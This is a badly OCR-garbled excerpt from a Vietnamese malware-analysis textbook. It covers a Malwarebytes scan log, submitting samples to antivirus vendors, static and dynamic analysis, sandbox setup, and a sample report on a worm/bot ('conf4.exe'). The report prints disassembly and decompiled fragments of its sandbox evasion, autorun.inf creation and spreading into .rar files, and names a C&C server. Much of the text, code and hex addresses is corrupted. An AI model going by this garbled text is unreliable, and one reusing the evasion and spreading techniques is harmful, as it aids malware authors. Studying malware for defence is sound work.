No action taken.
No action taken.

[ Ignote t Save Log b Main Menu ]

e ——
[ Register ][ Purchase E
Hinh310:Giaodi n kJt qufl
B€ ¢ 3tNge€nlthddp h3nh tr?° s€ bi ]t
V' 0 m8y. Nh€eng LW nh?3n » hhn v
bin Savetlog khi L- c¢- h3nh sau hi
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Save @

Save jn; | @' Dezktop “ | ¢ &t e mv
- DMy Dacurents
_-,.JI vj [y Compuker
Fecent HM‘;.# Metwork Places
I 102_PanA
— |y MicrosoftFixitS0154
|_ IPikachu_tong_hop_Rilwis. bk
Diesktop @Gungle Talk Received Files
[Z] mbam-log-2011-03-17 {23-39-27).bxt
ky Documents
ty Computer
File name: ‘mbamdog-2011-04-12 (112121 ).t v [ sae |
.Q Save as bype; | Teuxt File “ | [ Cancel ]

by M etwork,

Hinh3-11: Gi ao dr h &t gkl
Ng€ i thu thdp ch n Destop LW | €
notepad. Trong h3nh t°n f4ldg201% og c,
04-12.txt.

n/jln LO©y ng€ i thu thdp L« ho"n th
L€ ng dXn virus | Gy, axhm§yn n%m thr yn L
mXu, ng+<€ i d¥ngRektvetnrg® nl @icao di  n v

MBAM v3 nnftt nlh-bjn sn€X umb¥ti rduss MBAM t i °
khing | BlyNg€ ¢ thKun tttheéph®&e ¢ 5

B€, cGobm mXu

Ng€ i tbhba thdgktcop amD file | og MBAM
L€ ng dXn. M8y duymeo khi m s€ c-
LoUn | og):

Malwarebyted/@mtare 1.50.1.1100

www.malwarebytes.org
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Database version: 6339

Windows 5.1.2600 Service Pack 2
Internéxplorer 6.0.2900.2180

4/12/2011 11:22:32 AM
mbatog2010412 (12231).txt

Scan type: Full §E34n (C:
Objects scanned: 152233

Time elapsed: 23 minute(s), 42 second(s)

Memory Processes Infected: 0
Memory Modules Infected: O
Registry Kefested: O

Registry Values Infected: O
Registry Data Items Infected: 1
Folders Infected: 3

Files Infected: 6

Memory Processes Infected:

(No malicious items detected)

Memory Modules Infected:

(No malicious items detected)

Registry Keys Infected:
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(No n@bus items detected)

Registry Values Infected:

(No malicious items detected)

Registry Data Items Infected:
HKEY LOCAL_NSOHIMNBARIEoISHCurity CehidatesDisableNotify
(PUM.Disabled.SecurtyBaitét) GoegelNO)action taken

Folders Infected:

C\RECYC6ER102439368632116381863d@3.1 (Trojan.Agemtp action
taken.

C\RECYCEER2102435568888883818633@3.3 (Worm.AuteRQ) action
taken.

C\RECYCL:ER1148247656444916882Z00A 013 (Worm.AutoRen.Blken)

action taken.

Files Infected:

CIRECYCsER1024393686321163818633@3\Desktop.ini (TrojarAgent)
action taken.

C\RECYC&ER102439368632116381863d@3\Desktop3.rar (TrojamrAgent)
No action taken.

CIRECYCeER102435568888883B4.863dd8Besktop.ini (Worm.AwtoRun)
No action taken.

C\RECYCEER10243556888888381.8633d3\Besktop2.rar (Worm-AutoRun)

No action taken.
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C\RECYC:EbR114828%016444916820033BABesktop.ini
(Worm.AutoRuh.®ergction taken.
C\RECYC:EBR1148247656444918820033BABesktop.rar
(Worm.AutoRuh.®ergction taken.

Nh3n v'o m t s L€ ng dXn birivs Ing,,

‘v’ tr2z n"o tr°n m8y.
Licnayn g€ i tchu fthdp d¥%ng winrar n®n |
xong.

C8§ch n®n b33xng winrar: :usKhir ¥Yoin/pt, ,L € hn
trén may tinhla confile.exel ©y t Ui L \Bocumgnts cagdn  C:
Setting$Nguyen Van Afile.exe

th3 ch”™ vi ¢ v o °~ C, theofie ng dX
r” i ch’ file.add "nd€yi | tLku nt®Ndp. € ¢ mXu
winrar.

3.2.2 G i m»Xu JJjt cac hang Antivirus

Sau khi thu thdp L€ & mXwh mg, L ng-e€ti
t2ch thu tho©p ngo~ i vi ¢ t  phon t°:
mXu m« L ¢ L- cho c8c t° ch ¢, <cho
gi up c8c h«ng c¢c- thW cdp nhdt L€ c
L Qu ¢c - ri °ng minm pMehPsite! AW cho ng-
mxXu | °n.
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mﬂmﬁnﬁfﬂid\wmétvin x % Y =" |
= C | G https://www.virustotal.com/vi/ Tly chinh va Gieu khién C& Rém+ a gy

[ Suggested Sites [~ ] CCNA ver 4

» total

VirusTotal la dich vu mién phi, giip phén tich tap tin va URL nghi ngé va tao diéu
kién cho viéc nhanh chéng phat hién virus, séu may tinh, frojan va tAt ca cac loai phan
mém ddc hai khac.

Chwa chon tép tin Chon tdp tin
Kich thwéc tap tin téi da: 64MB

Biing viéc chon niit "Quétr, ban déng v v&ri Didu khoan dich vu ciia ching téi va cho phép VirusTotal
chia sé tap tin nay v&i cdng dong bao mat. Xem qua Chinh séch riéng tw dé biét thém chi tiét.

C6 thé ban can quét URL hodc tim trong cor sé& diF liéu cia VirusTotal

7 Blog | W Twitter | @ contact@virustotal.com | & Nhém Google | #, Didu khoan dich vu | & Chinh sach riéng tw

Hinh 2-12. VirusTotd
http://www.techsupportalert.com/content/hogportmalwareor-false
positivesmultiple-antivirusvendors.htm
3.2.2.1 G i b3xng email

Sau khi ng€ i thu thdp L« c- mXu,
Antivirus nhe€e sau:

B€ c 1: S’ d, ng m t c8ai Ils ¢ ld ennc
Thunderbird,Outlook.

B€ ¢ 2 S d,ng m t che€eklnigp tLlr&Synh

m t phfn mQm Free c¢c- thwWw LHt L€ c
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http://www.techsupportalert.com/content/how-report-malware-or-false-positives-multiple-antivirus-vendors.htm
http://www.techsupportalert.com/content/how-report-malware-or-false-positives-multiple-antivirus-vendors.htm

Hinh3-13 Ch€ehng -zipr 8 nh 7

M, t s h«ng y°u cfu g i mXu m« L, c s
khXu, b°n cUYnh LmX%Xun m« sl', ch«:n'g d_hrg gl i
ng€ i thu thdp n°n s d,ng cl[ 2 L nh
G i email s d,ng L nh dUng zip dUng
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LI

J Fle Edt View Insert Format Tools Message Hebp ||’,'
. LY "] ABi lﬂ] - 0 &
E | = ﬂ" j LA = =4 B
Send ut Gopy  Paster Undo | Check Speling) | Attach Priority Sign  Encrypt Offiine
[ To:

v3sos@ahnlab. com;virus @arcabit. com; virus @avast.com; virus @avg. com; virus @avira. com; virus_submission @hitdefender.com; bkav @bkav. com. vn;samples @bluepaintsecurity .com; dearsight.s ﬂ
upport@clearsightay, com;malwaresubmit@avlab, comoda,com;virus @avsubmit, com;vme @drweb,com; malware @emcosoftware, com; submit@emsisoft, com; virus @esafe.com;samples @escanav.c
om;submitvirus @fortinet, com;research @spy-emergency, com;viruslab @f-prot, com;labs @fsb-antivirus.com;vsamples @f+

secure,com;virus @orbitech, org;samples @ikarus, atysubmit@samples. immunet, com;k Fviruslab @labs kFcomputing, com;newvirus @kaspersky, com; suppar t@jiangmin, comjresearch @lavasoft, com; J

Bce |
Subject: |Suspici0us File: Submission
[ O DdE|prualccss|lsz2=|-@ &
=
The sample is in a password protected zip file
The password for the attachment is infected
[

Hinh3-14: g i email s d_ng L nh
Emai | | © c¢c,a ¢c8c c¢ctng ty vQ m« L, 6 c

A

v3sos@ahnlab.com;virus@arcabit.com;virus@avast.com;virus@avg.co
m;virus@avira.com;virus_submission@bitdefender.com;bkav@bkav.co
m.vn;samples@bluepointsecurity.com;clearsight.support@ckarsightav.
com;malwaresubmit@avlab.comodo.com;virus@avsubmit.com;vms@d
rweb.com;malware@emcosoftware.com;submit@emsisoft.com;virus@
esafe.com;samples@escanav.com;submitvirus@fortinet.com;research
@spy-emergency.com;viruslab@#t
prot.com;labs@fsbantivirus.com;vsamples@ftecure.com;virus@orbitec
h.org;samples@ikarus.at;submit@samples.immunet.com;k7viruslab@I
abs.k7computing.com;newvirus@kaspersky.com;support@jiangmin.co
m;research@lavasoft.com;virus_research@avertlabs.com;virus@micro
point.com.cn;avsubmit@submit.microsoft.com;virus@nanoav.ru;soport
e@neotechnology.com.mx;samples@eset.com;support@noralabs.com;
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analysis@norman.no;newvirus@novirusthanks.org;virus_info@inca.co.
kr;virus@pandasecurity.com;suporte @psafe.com;kefu@360.cn;support
@rubus.co.in;newvirus@s
cop.com;samples@sophos.com;detections@spybot.info;viab@srnmicro
.com;avsubmit@symantec.com;trojans@moosoft.com;virus@hacksoft.
com.pe;virus@thirtyseven4.com;virus@ca.com;submit@trojanhunter.c
om;support@simplysup.com;virus@filseclab.com;malware
cruncher@sunbeltsoftware.com;viruslab@hauri.co.kr;newvirus@antk
virus.by;esupport@webroot.com;virus@zillya.com;huangruimin@kings
oft.com;lab@filemedic.com;pomoc@mks.com.pl

. . . y * o .
G i email L nh ddng 7z th?® nh€ sau:
TIEY
J File Edit View Insert Format Tools Message Help ||‘}'
J Sl 009 & T 0 V.| H 3D

Send Cut Copy Paste Updo Check Speling | Attach  Priority Sign  Encrypt Offiine

[EEY To:
[E Cc |

Subject: ISuspiciDus File Submission

I = D[ ZlE|Brua|siEeE|s===|— 8B

=]
The sample is in a password protected 7z file
The password for the attachment is infected

=

Hinh315: Gi ao di n g i emai l

Email ¢, a c8c sctglglht whv@Umg L c
support.is@cmclab.net;samples@digital
defender.com;sample@preventon.com;support
tech@returnil.com;info@chicalogic.com;submit@antiy.com
3.2.2.2 G i bRng c8&c trang tr. c¢c tuy/n
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HFu hJj]t ¢ 8c 8We bhs«intgeh icQua € - cho ph®p

én. n®©y | ° m t c¢c8ch gi¥p c¢c8c h«ng ANt
KGRl tpoat s speces e\ e

« > C https://submit.symantec.com/websubmit/retai.cgi a<y

[ Suggested Siter ("] CCNA ver 4

E‘&] Trang nay bang Ban c6 mudh dich trang ndy khéng?

4 Symantec. Close @

| Khdng | | Knang bao i dich Tiéng Anh | X

-

Upload a suspected infected file (Retail) English vI

Use the form below to upload a suspected infected file to Symantec Security Response
This submission form is intended for users of Noron products

You may also submit files directly from the product

Ifyou are submitting a file you believe to be clean, please use this submission form.

@ This submission form is S5L Secured.
* Required fields are marked with an asterisk.

First Name | *

Last Name | *

Company Name |

Tracking and closing emails will be sent to the following email address:

Email Address | = —
Re-enter Email Address | =
File to Upload Chon Tép tin | Khidng cd tép nao dwoc chon*

L Please note the following guidelines for submissions:

+ Uploads may be a maximum size of 20MB

+You may upload a maximum of 9 files in each submission by placing the sample files within a ZIP or RAR archive
» Uploads must not be password protected

Symptoms
Please describe the problem that leads you to befieve this file is infected.
Supgestions LI

Hinh 3-16: G i mXu | °n trang Syma
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C' | [3 www.bitdefender.com/s aqy
[} suggested siter ("] CONA ver 4
Trang nay bang | Tiéng Anh ~ | Ban c6 mudn dich trang nay khéng? ‘ Dich ‘ ‘ Khéng ‘ ‘ Khéng bao git dich Tiéng Anh ‘ | Tuy chon » ] x

Bitdefender

BITDEFENDER PRODUCTS

» Home Products

» Bitdefender for your Business Sme't a SUSPICIOUS ﬁle

Please submit the suspicious file, together with a description of the simptoms your computer has.
ABOUT BITDEFENDER Your email:

» Company Overview
» Technology

» Bitdefender Partners

Description: 4
Suspicious file*: Chon Tép tin l Khéng c6 tép nao dwec chon
Submit

www.bitdefender.com/site fview /company.htm|

Hinh3-17: G i mxXu | °n trang

Report a false detection | A1 % | (%, Submit Suspicious Files

en/false-detection

C' [ samplesubmit.avg.com/

[ Suggested Siter " [] CCNA ver 4

EE Trang nay bang Ban cé mudn dich trang nay khéng?

For Mobile Users

[ Khéng l l Khéng bao gid dich Tiéng Anh

® If want to send a sample of an Android app that may be malware (not an app that was falsely detected), please visit the article Where can I send an

Android malware app sample?

For Software Vendors

® In case you are a software vendor and you want to prevent your software from being falsely detected, please apply for the "Whitelisting service account”
by choosing "Application Whitelisting” item from the form below.

SUBMIT A REPORT

* Required Fields

Choose an appropriate request type * [--- Choose from the list - =1

Details about the problem *

P
File for inspection (Max 20MB)  Chon Tép tin | Khing cd tép ndo dwoc chon

ure |

Your email address * |

Verification code N 6 p @ h X

Type the verification code * [

- SUBMIT QUERY

Hinh318 G i mX%u | °n trang
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[Colkd S Report a false detection | A\ % [ (<, submit Suspidous Files

C' | @ https://analysis.avira.com a
|| Suggested Siter’ " [] CCNA ver 4

Eﬁ Trang nay bang | Ti€ng Anh ~ | Ban c6 mudn dich trang nay khéing? | Dich l Khéng ] l Khéng bao gis dich Tiéng Anh Thy chon~ | *
Q Avl RA EH English v Contact About Avira Fress
ForHome  ForBusiness  Support  Parner  Download Search Q
Submit Suspicious Files and URLs

Submit suspicious files

- =l
Hinh3-19: G i mXu | °n trang AV

3.23Phantichrus d ngmts ph€hng phgp

3231Ph®©n t2ch trmdirlyi tin s_ b

Ng€ i phonl ot§nc hl Hc Imi«Wni, cp th&lin , 1 o hii

LHt tTt®ch31xgegm m« hex, xem thu, c t2n

hoHc thing tin Lhn gi [ nn klha8%i Lsw chbh?

L ¢ hy4ij

T¥m ki Jjm th'ng tin: ¢ thW upl oad

tot al hoHc scan b3wWgregfc xbé&d®hob¥hg:

nhdn di n ch€a. NJu m« L, c h4i L« L

th°m thing, ti hdv QL m«l "m ch s’ LW t |

chi tiJt.

3.2.3.2Phan tichthéng tinchitt ha't inlg mehil

Hi "n Baph&hng ph&p ph©n t2ch m« L, ¢
- Ph©n t2ch tonh (static anal ysi
- Ph©on t2ch L, ng (dynamic anal y:

C[ mR€empng ph8&8p LQu rblt gqguan tr ng v°

riéng

a. Static analysis (phan tich Q)n h
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Static analysis | " ph€ehng ph8p xem

h“nh vi th ¢ s m« L, ¢c h4i n"y sE&E

phli chUhyi Wu rt» Hhn vQ hoUt L, ng c. :

Ph€hng ph&p n"y th€ ng s d,_ng cé8&c
- Disassembler

- Decompiler

- Source code analyzer

hu LpMWéhng ph8p: ph®©n t2ch tonh

- Phon txchtthowMiph8&8t hi hnoUta Lhon@t cl
m« L cc &cr otnfg€ ng h  p kh&c nhau.

- Static analysis s€ cho ch¥ng t a
tr3nh. Tukgo knhhii *anh Yinbft ta c¢c- thW n
hodt L, ng c¢c.,a m t ch<€hnégnitode nh,

nh, .
Nh€ c phieWmg ph&ptmpm@n t 2
APh€ehng phg&p n"y L,i h,i ng€ i phon
v I dp tr3nh, khl'ng phrli tblt cl[ c8

Hhn n_a nhiQu m« L., c h4i L€ ¢ |dp
tr3nh blFfo v LW chngpgassembling€ ¢ m«
b. Dynamic analysis (phan tich. ., H g

Dynamic analysishay ¢, n g i I mphe@&hntg2 @t 8lp,
s8t xem mxi Lth, chUdtihik s€ | "m,lah_ng g
g3 tr°n m8y t2nh m3nh qua c&¢ Wen! ng
v.i ¢c8c d,ng m« L, c h4i chYy theo |

ch€ehng tr3nh b=ng c8ch th, ¢ thi ch<€
Ph€hng ph&p n"y th€ ng s d_ng cé&c

- Debugger

- Function call tracer

- Machine emulator

- Logic analyzer

- Network sniffer

hu hb<€li Wm
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Dynamic analysis cung cblp thtng ti
dynamic analysis ¢c- m, t nh€ ¢ Li Wm
phlCi |7 tblt ¢cl". N-i c8ch kh8c dyna
nh. ng h”"nh vi c¢c,a Qh€hingnttTBkdh biron
t4i trong th ¢ tJj. C- thw | bly vz d,
t ¢ I ° th i LiWm n"y n- hodt n
L, ng.

M, i ph€hng ph8p LQu ¢+ m t LHc Li W
I ¢ hYng€hi ta th€ ng phli s d, ng
nhau.

D% m, c¢c L2ch ch2nh h3 gi " ng nhau nt
t2ch, th i gian b, ra c,a t.ng phe€eh
2.2.4.1 Quan s8t h”"nh vi m« L ¢ hyj
Nh€ vdy tr°n L« . gua 2 ph<€ehng
L, ¢ h4i th3 ph€ehng ph8p quan s8t h-~
nW qguan s8t h”"nh vi m« L, c hUi n’y
nghi m: s d_ng m8y [om«sBndbbHXdj et
NJu m« L. ¢ h4i c¢- ch chJ] ph8&t hi n
tr€ ng thdt L« L€ gi . hdn (trong
Il nternet, web, mail, c¢c”"i LHt c8&c h’
l i t. 1 .40 htr€hdigugth M nghi m c¢c” " ng
s€ quan s8t L€ ¢ c¢c"ng nhiQu LHc Li
r€ c¢c h" th ng m8y nh€ m8y b nhi_ m
Thi J]t |l dp c¢c8c c¢cl'ng c, gi 8m s8t: v 3
nen trong hmtingthi €mngfn c¢c- c8c ciln
d, ng nh+e€:

File monitor.

Registry monitor.

Process monitor.

Network monitor.

C8§c tool ph8&t hi n rootkit.

B, clng c,. n"y s& gi¥p ch¥%ng ta qu
chdy m« L, ¢ hUingtin? gquan s8t c¢c8c tht
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Khl[o s8t processes Xem C:- processes

Khlo s§t c8c modules dl Il sé. XxXem ¢cC -
khéng?

Khlo s§t registry xem ¢c- process n
c- key n"o L€ ¢ sinh ra v' b’ s a |

KimvVtra MD5, CRC, SHA ¢c8c¢c modul e (f
xem c- b m« L, ¢ h4i gdn v~ 0o khlng:-
Khl[fo s8t c¢c8c file, c¢c8c th€e m,c Xn L

Kh[fo s8t c¢c8c driver, t3m rootkit |7
Khlfo s&8t | €u | € ntg ngintg kxhelmn gc? t £ n
Ki Wm tra xem c¢c8c kJt n" i TCP/I P tr°
Chdy m« L, ¢ h4di v~ ghi 1l og, quan s
Thtng th€ ng m« L, c hUi s€ L€ ¢ q
c.,n hodt L,  ng g3 L8&8ng kW dhhiHcl &g ndch.
yJJu do c¢c8c c¢c!*ng c, monitor chuy°n d

2.2.4.2 Phoen t2ch m« d ch ng¥€ ¢ (S
Sau khi phon t2ch m« L, c h4i b3ung c
m t s° thlng tin, nh€eng nh€e lWdy c¢h-€
hdi LW xem chi tifJt r» hhn | i u m«
th> i LiWm n”o.

Do m« L. c¢c h4i khi thu L€ ¢ |~
ngu n Li k™ m theo LW ph©n t2ch n°n
L- vQ m« assembl yglW ph8Omrc tn2 gyh .t aT hs
vi ¢ sau:

- Xem m« L, c h4i L€ ¢ vi/Jt b3lng ng?

- C- s’ d_ cnkge rc 8lcW pra®n | H( ¢ hh@hyn gc 8tcr 3p
b [ o naw khjng?

- Khi biJJt m« L., c h4i L€ ¢ pack b3n
L. aqk ra,cltn@hnwnrpirfoitleectnok L, ¢ h4i

- D¥%ng c¢8c c¢ctng ph, ph% h p v.i ¢
decompile, disassemble, debugging...

-n c v° pho©n t2ch m« code assembly
L ¢ hy4ij
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- Trace code , debug m« IF,ac kUi kkKHhir
hoHc thiJfJu hi " u qul. HoHc khi cfFn
phli debug m« L, ¢c h4i. C- nghoa |
hgi LW xem ch2nh x8c |7 m« L, 6 c F
th€ ng c- c8c k: thudtg csh€ nag- dé &c
t hudnt c¢ch"  ng debug (anti debug) v
no (anti antidebug).

3.24Vitbdocadotng ki hanhvihot g me& L

Sau Kkhi ph©n t2ch xong mXu m« L, 6 c,

m t b8o c¢c8o h”"nh vi hoUYt L, ng c. a

t " ng h  p I'4i kJt qul sau khi phoen t

I. CONF4.exe

SHA2561c09b262b940d22c7f0b6956aee0949a640db66616bf70edcdf6b

le7eaB6828

SHA1:fd24495048ce85e39174b0fof6fc5597137b84d5

MD5: ceea769e2b3dfc45ce8f0075541a5939

File size: 112.7 KB( 115376 bytes)

File name: conf4.exe

File type: WIn32EXE

Code b=yng Bor-r@wadisale4+p.di ( 2. 0

[I. Théng tin chung

-File Ipy mott Net L« b’ 22/ 44 tr3nt

virus total x8c L nh.

l 11 . C8c hoUt L, ng c_, thWw.

Ki Wm tra c8c ch€ehng tr3nh th ¢ hi o

h"m ki Wm tra sandbox, vmwar eé
s v r R s

Ltext:004049¢C3 lea eax, [ebp+pcbBuffer)

.text:004049C6 push edi

.text:004049¢7 push eax ; pcbBuffer

.text:004049¢8 lea eax, [ebp+Str)

Ltext:004049¢CE mov [ebp+var_14], offset aSandbox

Ltext: 00404905 push eax | TpBuffer

.text: 00404906 mov [ebpsvar_10], offset aHoney ;

I

.text:0040490D mov [ebpsvar_C], offset avmware

Ltext: 0040494 moV [ebpsvar_8), offset aCurrentuser
3

Ltext:004049¢c8 mov [ebp+pcbBuffer], 80h
Ltext:004049¢2 call ds:GetUserNameA

Hinh320:Ki Wm tra m'i tr<€ ng ph©n
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Th, ¢ nhivi ct@anghkeéad t, L, ng copy
CopyFileA copy file virus sang, tUYo
khoa autorun:

ica CAA, |CUPTraLiinamec |

push eax ; IpStringl

call esi ; IstrcatA

lea eax, [ebp+PathName]

push offset aAutorun_inf ; "\\autorun,inf"
push eax  IpStringl

call esi : IstrcatA

lea eax, [ebp+PathName]

push 80h ; dwFileAttributes
push eax ; IpFileName

call ebx ; SetFileAttributesA

xor esi, esi

lea eax, [ebp+PathName]

push esi : hTemplateFile

push 7 ; dwrlagsAndAttributes
push 2 ; dwCreationDisposition
push esi ; IpSecurityAttributes
push esi ; dwShareMode

push 40000000h ; dwDesiredAccess

push eax : 1pFileName

call ds:CreateFileA

mov edi, eax

Hinh3-21: TYo autorun
TYUo c8c thread v, i h"m ch2nh c¢c_, a B«
C&C serve: New.gov.me.
C8c ch ¢ ntng ¢, a Bot t3m t hbly:

-T. h, vy

- X6a Registry key

-T  tYo file.bat remove c8c file
-Downl oad c¢c8c file t, cdp nhdt

-Loy |l an file crack.exe v~ o tblt cfl

SETLUrTPENTUIrecTtoryaAl .. J;

}

else
if ( GetFullPathNameA(FindFileData.cFileName, 0x104u, &String, &FilePart) )
CharLowerA(&String);
v2 = IstrlenA(&5tring);
if ( !memcmp(&/3[v2], "rar", 3u) )
Sleep(0x1388u);

sub_406032(&v6, 7, 1); o o
sub_405C39(&string, NumberOfBytesWritten, "+éUyE+PapP", 128):// +8UyE+PaP = crack.exe

Hinh 3-22. Lay lan file crack vao cac file .rar
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-Spam emai l ( g i file zip ), Span
yahoo, MSN, Spype
-n€a file | ©y nhi_m v o mUng P2P to

FULLEU

102280

402280

102280 Toc_402280: ; CODE XREF: CaseChucNang+7DBTj
402280 push dword ptr [esi] ; lpsString?

102282 push offset apP2p

402287 call edi trompiA

102289 test eax, eax

Hinh323:L©y nhi_. . m v 0o mdng P2P to
-Tbin c*ng Dos c8aynflgpod) ti °u ch” L nh
-T3m gi[ m« h th ng blo v Pstore
325X lym¥u me« L
T3m signature c¢c_,a m« L, c h4di v~ phe€
Trong b€ ¢ n"y th, c hi n:
AT3m LHc LiWm nhdn di n m« L, c hUyi

(v2 d_ettUYn " oflfs ch_ a chu, i string
fileé).

MQ ra c8c ph€ehng &n khdc ph_,c h' tt
AT m ph€ehng &n di t n-, nJjju ndm L€

S

script x-a m« L. c h4i L- trong h t

3.3 Cau hiva baitdp
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Ch€ehng 4

CACK THUxT PHAN T&CH TONH
Trong c¢c8c ch€ehng tr€ ¢ gi 8o tr3nh I
L. c, trong quy tr3®nh phon t2lkW c-
phantichma Ch<€hng 4 n" vy srE» gp Wh nsgi nphh 8vpi
phant 2 ch tonh. Tr <€, ¢ Kkhi pho©n t2ch tt
tr€ ng h, tr° c¢ctng vi ¢ ph®n t2ch.
41Xaydng mt ingphanht on h
X©y d. ng mti tr<€ ng ph©n t2ch m« L
L'« biJJt m« Lc8c lhutnnh tviiGin gdinik h@y WV a
x©y d ng m'i tr€ ng ph©n t2ch m« ph
nW t9%o ra L€ ¢ mti tr<€ ng an to"n t
ph€hng ph8p ph®©n t2ch tonh LW phoOn
cach:
- X©y dméirg€ ng [o LW ph©n t2ch m« |
- X0y d ng mti tr€ ng thdt LW phon
411Xaydng mt nglo.r €
Vi ¢ x©y d ng mti tr<€ ng TFTo LTm brT
phg8 hoUi L€ ¢ h” th ng m8y tndinh t hc
tr€ ng [o nh€e Vmwaré. work®yas€oh, av
d ng mAgiphantich®i VM wo.or kst ati on
Ph€hnxyogndh®gsau:

-M, m8y t 2 nh dowsdt ¢~ i Win

-Tr°n Win 7 c¢7i L Hut m, t m8y [ o Vn
WindowsXP( mti tr<€ ng LW chdy )nal war e
-C"i LHt mlng ph%.h"  p v, i vi ¢ phon
-C"i c8c tool c¢cfn thiJJt ph_,c v, vi’
Th, ¢ hi" " n vi ¢ c¢”i L H615¥Wiwalareé s ao
Disk ( 10Gb), sau khi%yhtkuhe w @i
L. ¢c h4i LW c¢c"i c¢cblu h®nh mUng.
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Device Summar Y Device status

2 Memory 512 MB [[] Connected

88 Processors 1 C nnnnn t at power
(e Hard Disk (SCSI) 4GB

'@CD;’DVD (IDE) Auto detect Network connection
El Floppy Auto detect

@Network Adapter Host-only Replicate physi
@usB controller  Present

ls‘ I Sound Card Auto detect

EDispIay Auto detect

eeeee

(7 Bridged: Connected directly to the physical netwark

() NAT: Used to share the host's IP address
@ Host-only: A private network shared with the host
() Custom: Specific virtual network

VMnet1 (Host-only)

on

ical network connection state

][ Cancel ][ Help ]

Hinh4-1: Ch  n c¢cblu h3nh mUng

Sau khi c¢"i LHt xong, Vmware s€&€ tU
Vmware 8 tr°n m8y thdt v~ m8y t hdt
k/Jt n”  im8y, foc8&8&hi | a chon c¢cblu h3nh
ch  n m 1t trong c¢c8c chJ] I, sau:
Bridged networking: Card mUng <c_ a 1
card mng c¢c., a m8y thdt (s’ d,. ng swi
s€ L-ng vai tr mWrhege tmhdt m8g- - ttrloWgn
mUng ngo" i, hoHc LHt | P tonh c¥%ng ¢
c8c m8y ngo’ i mdng hoHc | °n Interne
NAT: M8y [o L€ ¢ cblu h3nh NAT s€& s
tiJJp v.i mlng ngo i Celt m .yt [DHa@Pe
c.a VMware. L¥Wc n"y, c¢c8c m8y [o s¢€
VMnet 8, v° m8y thdt s&€ L-ng vai tr,
Hoston | vy Net wor ki ng: Khi c bluonlyh 2 n h |
net wor ki ng, m8y [o <& L®oangk/t tn myr
thing qua Switch [o VMnetl. n a <c¢h
mUng -ohnolsyt ¢- t hW DHE Pc [coblpg bn il i Qn v,
Vmnetl hoHc c¢c- thW LHt L a cha | P t
s€ ch, yJu da&¥hug hidmthi krh'iy pthW@n t 2 ch
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Host-Only Networking

Virtual
Ethemet
adapter

ﬁ DHCP server

Virtal Frthemet switch
IVMnetl)

Hinh4-2: Host only Networking
Sau khi c¢cblu h3nh mldng xong, ta n°n
Snapshot gi%Wp ch¥%Wng ta restore | Yij
m i | fn ph©n t2ch ta Icdfin cph1li nbit cn
Ta ch™ ¢cfn v o snapshot, ch4dy | 4i s
bblt k3 v. o ph©n t2ch

Iﬁ Windows XP Professional - Snapshot Manager u
| @a-af@]

Windows XP  bandau snapshotlé You Are i |
Professional i Here i

Snapshot details

Name: Take Snapshot. ..
Description:
Mo screenshot Keep
available
Clone...
- Delete
(@) [[]show AutoProtect snapshots GoTo AutoProtect... ] [ Close ] [ Help ]
2 snapshot(s)

Hinh4-3: TUo snapshot
Sau khi c i xong Vmwar e, ta ¢ i h
clng c, | °n LW giBmngs8t, a, cBbaghehn
h™ th ng Lang th, c thi
M t s c¢clng ¢, c¢cfn thiJt cho mti tr

H
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4.1.1Cbng ¢ Peid
L c¢c*ng c¢c, ph&8t hi n xem file L€ c
LOy | © m, t ¢! ng c_nérc pack)htahyi Jkth 1xnegn? N
b° m®W (th?® ng€Ffin M@ricEebunmaek[i n ®
fleyph% .h' p

| K PeD 035 D U= N =
Filz: | C:\baitap\CrackMeKeyLogl.exe III
Entrypoint: [0004C748 EP Section: [CODE ﬂ
File Offset: |0004BE48 First Bytes: [55,88,EC,83 ﬂ
Linker Info: [2,25 Subsystem: [Win32 GUI ﬂ

Borland Delphi 6.0 - 7.0

Multi Scan Task Viewer | Options | About | Exit |
[ Stay on top ﬂ ﬂ

Hinh4-4:Ph f n Pai®m

Nh€ trong h3nh ¢+ thW thbly ch<€hng
ch€ehng tr3nh Keylogl. ex® vilJJt b3Jung
4.1.2 Dependency Walker

http://www.dependencywalker.com/

L~ m t ctng c, LW t3m c¢c8c file DI
Ch€ehng tr3nh L€ ¢ s d,ng tr°n cl[ x
¥ phon cblp c¢c.a tblt ¢l c8c file DII
L ¢ h4i L€ ¢ chiy.
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http://www.dependencywalker.com/

" Dependency Walker - [Dumped]

B File Edit Wiew Options Profile  Window  Help =
B R o e Sy ESREDONR
- [ DUMPED.EXE s | P Ordinal Hint Function »
¥ B KERMEL32.DLL | BT mie 106 (0x0068) | dllanesxit —
- B SHELL3Z.DLL 0 | nia 182 (0x00B6) | _adjust_Fdiv
=[] MSWCRT.DLL B3 | s 237 (0x00ED) | _except_handlers
+- ®] KERMELZZ B | s 280 (0x0118) | _Frol
®] MTDLL.DLL B |nia 315 (0x0138) | _initterm A
%] NTDLL.DLL < | >
A| GDI3ZDLL E_ | Ordinal~ | Hint Function ~
| USER3Z.DLL 1000013 | 1 (0x0001} | #70__non_rthi_object@@QAE@ABVD@@;—
+ ﬂ KERMEL3Z DLL | 2(0x0002) | 2(0%0002) | 770_non_rtti_object @MOAE@PED@Z v
< T | >
~ | Module File: Tirne Stamp |LinkTimeStamp |FiIeSize |Attr. |LinkChecksum |ReaIChecksum i
3@ MSIAYA.DLL Error opening file, The system cannot find the file specified (2). —
@ ADWAPIZZ.DLL | 08/04j2004 3:56p | 08/04/2004 2:56p 616,960 | A 0=000A00E4 0=000AOCE4
@ COMDLG3Z,DLL | 08/04j2004 3:56p | 08/04/2004 2:56p 276,992 | A 0=0004E10F 0=0004B1DF v
z —— e o | .. e o e » by
Hinh 4-5: Dependency Walke
L~ clng c, S d. ng th, c hi n vi C
. . . Q .
process ta s€& c 1 fcfe phEXe¥y, ng€nig
n“y LW fix |41 blfng I AT b=ng tay ho
3 Jmport REConstructor v1.6 FINAL (C) 2001-2003 MackT/uCF
Attach to an Active Process
| c:\documents and sethngs‘\admirestratolhvdesklophnotepad_asp exe [0000089C) ;I Pick DLL
Irnpodt ed Furchon s Found
+ advapi2 dil FThunk-D00062E 0 NbFunc:5 [decimal 5] valid YES Show Invalid
% gdi32 dil FT hunk: 000062F8 MEBFunc:17 [decimal 23] wald YES
U8 7 FT hunk: 00006358 NbFunc: 25 [decimal: 37) validNO Show Suspect
+- 7 FThunk: 00006 3F0 NbFunc: B [decimat 5] validNO
+ 7 FThunk:0000640C MbFunc: 2C [decimal&0) valid MO
+ 7 FThunk: 00006500 NbFunc: 7 (decimat 7) valid NO
Clear Imports
Log
IAT read succe sy ~
Currerd imports: Clear Log
2 [decimal: 2] vald module(s ] [added +2 [decimal+2])
24, [decimatl 38) imposted function(z). [Sdded: +84 [decimat+122]
